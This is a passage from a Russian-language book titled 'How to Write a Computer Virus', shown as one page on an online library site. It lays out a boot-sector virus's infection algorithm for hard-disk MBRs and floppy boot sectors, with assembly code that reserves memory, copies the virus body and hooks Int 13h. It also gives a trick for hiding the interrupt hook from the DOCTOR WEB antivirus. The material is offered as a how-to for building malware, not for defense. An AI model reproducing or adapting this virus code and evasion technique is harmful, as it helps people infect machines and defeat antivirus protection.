Главная · Поиск книг · Поступления книг · Top 40 · Форумы · Ссылки · Читатели

Настройка текста
Перенос строк


    Прохождения игр    
Demon's Souls |#13| Storm King
Demon's Souls |#12| Old Monk & Old Hero
Demon's Souls |#11| Мaneater part 2
Demon's Souls |#10| Мaneater (part 1)

Другие игры...


liveinternet.ru: показано число просмотров за 24 часа, посетителей за 24 часа и за сегодня
Rambler's Top100
Образование - Коваль И. Весь текст 308.41 Kb

Как написать компьютерный вирус

Предыдущая страница Следующая страница
1 ... 13 14 15 16 17 18 19  20 21 22 23 24 25 26 27

    Попав  при начальной  загрузке машины  в память по
    адресу  0000:7C00h, вирус  должен выполнить  такие
    действия :

    1. Установить регистры SS и SP на собственный стек
    2. " Отрезать " у системы несколько килобайтов па-
       мяти ( сколько именно - зависит от длины вирус-
       ного кода )
    3. Переписать свой код в полученную область (кста-
       ти, она будет находиться в старших адресах  ос-
       новной памяти)
    4. Передать управление следующей секции своего ко-
       да, уже расположенной в конце основной памяти

    Эта секция, в свою очередь, должна :

    1. Переопределить вектор прерывания Int 13h на ви-
       русный код
    2. Считать настоящий  загрузочный сектор в  память
       по адресу 0000:7C00h
    3. Проверить, заражен - ли винчестер. Если нет, то
       заразить его MBR
    4. Передать управление настоящему загрузочному се-
       ктору, находящемуся по адресу 0000:7C00h

    Далее загрузка ОС выполняется, как обычно.
    Когда система будет загружена,вирус должен занять-
    ся заражением BOOT - секторов дискет. С этой целью
    он выполняет такие действия :

    1. При  чтении  секторов с номерами 2...N  нулевой
       дорожки нулевой  стороны диска " A "  проверяет
       BOOT этого диска на зараженность
    2. Если диск еще не инфицирован - заражает его
    3. Передает управление системному обработчику  Int
       13h

    Под заражением  понимают  запись вирусного кода  в
    BOOT - сектор дискеты или в MBR винчестера.
    Понятно, что при загрузке  с винчестера  проверять
    его на зараженность бессмысленно. И тем  не менее,
    наш вирус делает это, так  как отключить  проверку
    жесткого диска не так просто, как это может  пока-
    заться. Кроме того, она выполняется очень быстро и
    поэтому совершенно не ощущается  пользователем.
    На первый взгляд, приведенный алгоритм кажется до-
    вольно сложным. Тем не менее, его достаточно  про-
    сто реализовать, в чем вы скоро убедитесь.
    Хотелось бы сказать о том, какой должна быть  мак-
    симальная длина вирусного кода.Если мы хотим поме-
    стить вирус в загрузочный сектор  целиком, следует
    учесть два момента.

    1. Собственно  программа  загрузки в MBR  занимает
       не более, чем 446 байт ( см. ПРИЛОЖЕНИЕ 2 )

    2. Программа  загрузки  в  BOOT - секторе  дискеты
       имеет разный размер в разных версиях DOS. В са-
       мом  " предельном "  случае  она  начинается со
       смещения 0055h относительно начала сектора. Два
       последних байта BOOT и MBR содержат код: 55AAh.
       Если его затереть,система перестанет загружать-
       ся с испорченного  таким образом диска. Некото-
       рые вирусы используют этот прием для приведения
       дискеты или винчестера в " частично нерабочее "
       состояние.

    Отсюда следует очевидный вывод - размер кода виру-
    са не  может превышать : 200h - 55h - 02h = 1A9h =
    = 425 байт! Если вы не выйдете за эту границу, об-
    ращение к диску будет происходить корректно. Кроме
    того,даже NORTON DISK DOCTOR не будет замечать из-
    менений  программы загрузки в BOOT - секторе  дис-
    кеты  или MBR  винчестера, что, согласитесь, очень
    важно.


        1.4 Как начинается распространение вируса

    В отличие от файловых вирусов,для внедрения загру-
    зочного вируса  в компьютер достаточно просто  по-
    пробовать  загрузиться  с  зараженной дискеты, при
    этом дискета не обязательно должна быть  загрузоч-
    ной.В этом состоит особенность вирусов этого типа.
    Итак, чтобы вирус начал распространяться, достато-
    чно заразить  им гибкий  диск, а потом  попытаться
    загрузиться с него на той или иной машине.


                    1.5 Начало работы

    Как и прежде,будем разрабатывать загрузочный вирус
    в виде COM - программы. Поэтому :

    prg segment
       assume cs:prg,ds:prg,es:prg,ss:prg
          org 100h


              1.6 Вирус получает управление

    Как вы уже знаете,загрузочный вирус получает упра-
    вление  только при  загрузке операционной системы.
    Далее он должен " отрезать " у DOS несколько кило-
    байтов памяти и  переписать свой код в  полученную
    область. Для выполнения  этих функций  можно пред-
    ложить такой фрагмент :

    my_prg:    xor ax,ax              ;
               mov ss,ax              ;
               mov sp,7bfeh           ;Установка собс-
                                      ;твенного стека
               push ax                ;Сохраним в сте-
               push bx                ;ке используемые
               push cx                ;регистры
               push dx                ;
               push si                ;
               push ds                ;
               push es                ;
               pushf                  ;
                                      ;
               push cs                ;DS = CS
               pop ds                 ;
                                      ;
    sub word ptr ds:[0413h],2         ;"Отрежем" у DOS
               mov ax,ds:[0413h]      ;два килобайта
               mov cl,6               ;памяти и вычис-
                                      ;лим
               sal ax,cl              ;сегментный ад-
                                      ;рес,по которому
                                      ;находится полу-
                                      ;ченный блок
               mov es,ax              ;Поместим адрес
                                      ;в ES
               xor si,si              ;И скопируем код
               mov cx,prg_lenght      ;вируса длиной
    prg_copy:  db 8ah                 ;"prg_lenght" в
               db 9ch                 ;память по адре-
    additor    db 00h                 ;су ES : 0000h
               db 7ch                 ;Сам код при за-
               mov byte ptr es:[si],bl;грузке помещае-
               inc si                 ;тся BIOS по ад-
               loop cs:prg_copy       ;ресу 0000:7C00h
                                      ;
               push ax                ;Запишем в стек
               mov ax,to_read_boot    ;адрес ES:to_re-
               push ax                ;ad_boot и осу-
               db 0cbh                ;ществим переход
                                      ;на этот адрес

    Поскольку  операционная система  к моменту  начала
    выполнения этого фрагмента еще не загружена, "уве-
    сти" у вычислительной системы два килобайта памяти
    не предсталяет  никакого труда.  Для этого  просто
    следует уменьшить на два число,расположенное в об-
    ласти данных BIOS по адресу : 0000:0413h .Загрузи-
    вшись, операционная система просто не будет  заме-
    чать занятую вирусом память. Даже такие программы,
    как  RELEASE  или Volkov Commander ( нажмите ALT +
    + F5 ) не помогут обнаружить, где именно " притаи-
    лся "  вирус ( правда, это  не так трудно  рассчи-
    тать, но для рядового " юзера " такая задача непо-
    сильна ) .

    Машинный код

               db 8ah                 ;
               db 9ch                 ;
    additor    db 00h                 ;
               db 7ch                 ;

    является кодом команды :
    " mov bl,byte ptr [si + 7C00h] " и  модифицируется
    в зависимости от того, что именно удалось заразить
    вирусу - если загрузка происходит с  винчестера,то
    код будет иметь вид :

               db 8ah                 ;
               db 9ch                 ;
    additor    db 00h                 ;
               db 7ch                 ;

    а если с дискеты :

               db 8ah                 ;
               db 9ch                 ;
    additor    db 55h                 ;
               db 7ch                 ;

    Дело в том, что в  MBR жесткого диска тело  вируса
    располагается по смещению 0000h от начала сектора,
    а в BOOT - записи  дискеты  это же  смещение равно
    0055h ( см. п. 1.11 ).При заражении того или иного
    диска вирус определяет  необходимое  значение поля
    " additor", которое потом будет записано в  загру-
    зочный  сектор. Команда " ret far " для  краткости
    записана в  виде машинного кода 0CBh.
    Идея установки собственного стека заимствована  из
    настоящей MBR жесткого диска. Если  оставить  стек
    " как есть ", то в некоторых случаях система будет
    зависать при загрузке - проверено на практике !


           1.7 Защита от антивирусных программ

    В настоящее время существует только одна распрост-
    раненная антивирусная программа, с которой следует
    считаться при  разработке нового вируса . Это всем
    известный DOCTOR WEB. Благодаря довольно совершен-
    ному алгоритму эвристического  анализа, DOCTOR WEB
    способен обнаружить  новый вирус не только в  фай-
    лах, но и в загрузочных секторах гибких и  жестких
    дисков компьютера. В предыдущей главе  мы рассмот-
    рели, как можно скрыть присутствие вирусных  кодов
    в файлах и оперативной памяти ЭВМ. Теперь, вероят-
    но, следует рассказать, как решается задача маски-
    ровки загрузочного вируса.
    После нескольких дней экспериментов было  установ-
    лено, что при поиске неизвестных загрузочных виру-
    сов DOCTOR WEB пытается определить факт  перехвата
    прерывания INT 13h,при этом антивирус даже не про-
    бует  пройти встроенным отладчиком  подозрительную
    BOOT  или MBR. Если, по  мнению программы, INT 13h
    было  перехвачено, выдается сообщение о  возможном
    наличии в вашем компьютере неизвестного  загрузоч-
    ного вируса. Отсюда следует очевидный вывод :

    - Команду, задающую адрес в таблице векторов  пре-
      рываний или выполняющую модификацию вектора  INT
      13h, следует зашифровать, и вирус найден  не бу-
      дет !

    Однако сделать корректный шифровщик, хорошо  рабо-
    тающий на любом процессоре, не так просто. Поэтому
    задача была решена следующим образом :

               mov si,vvv - 100h      ;
    mov word ptr es:[si],to_new_13h   ;Установим
    mov word ptr es:[si + 2],cs       ;вектор Int 13h
                                      ;на вирусный об-
                                      ;работчик
                                      ;

    Как это ни странно, DOCTOR WEB "не догадался", что
    команда
               mov si,vvv - 100h
    пересылает в SI число 04Ch, имеющее прямое отноше-
    ние к вектору прерывания Int 13h.
    Проверка приведенного метода на практике  показала
    его пригодность.


               1.8 Перехватываем Int 13h

    Согласно описанному выше алгоритму, настало  время
    перехватить прерывание Int 13h.Наш вирус будет ис-
    пользовать его для отслеживания операций с  диске-
    тами. Итак :

    to_read_boot   equ   $ - my_prg   ;
                                      ;
    read_boot: push cs                ;DS = CS
               pop ds                 ;
                                      ;
               xor si,si              ;SI = 0
               mov es,si              ;ES = SI
                                      ;Получим вектор
                                      ;Int 13h и сох-
                                      ;раним его :
    mov bx,word ptr es:[4ch]          ;
    mov word ptr old_13h - 100h,bx    ;
    mov bx,word ptr es:[4eh]          ;
    mov word ptr old_13h_2 - 100h,bx  ;
                                      ;
               mov si,vvv - 100h      ;
    mov word ptr es:[si],to_new_13h   ;И установим
    mov word ptr es:[si + 2],cs       ;вектор Int 13h
                                      ;на вирусный об-
                                      ;работчик
                                      ;

    Прерывание здесь перехватывается путем непосредст-
    венной модификации вектора в таблице векторов пре-
    рываний. Константа " to_read_boot " задает  смеще-
Предыдущая страница Следующая страница
1 ... 13 14 15 16 17 18 19  20 21 22 23 24 25 26 27
Ваша оценка:
Комментарий:
  Подпись:
(Чтобы комментарии всегда подписывались Вашим именем, можете зарегистрироваться в Клубе читателей)
  Сайт:
 
Комментарии (9)

Реклама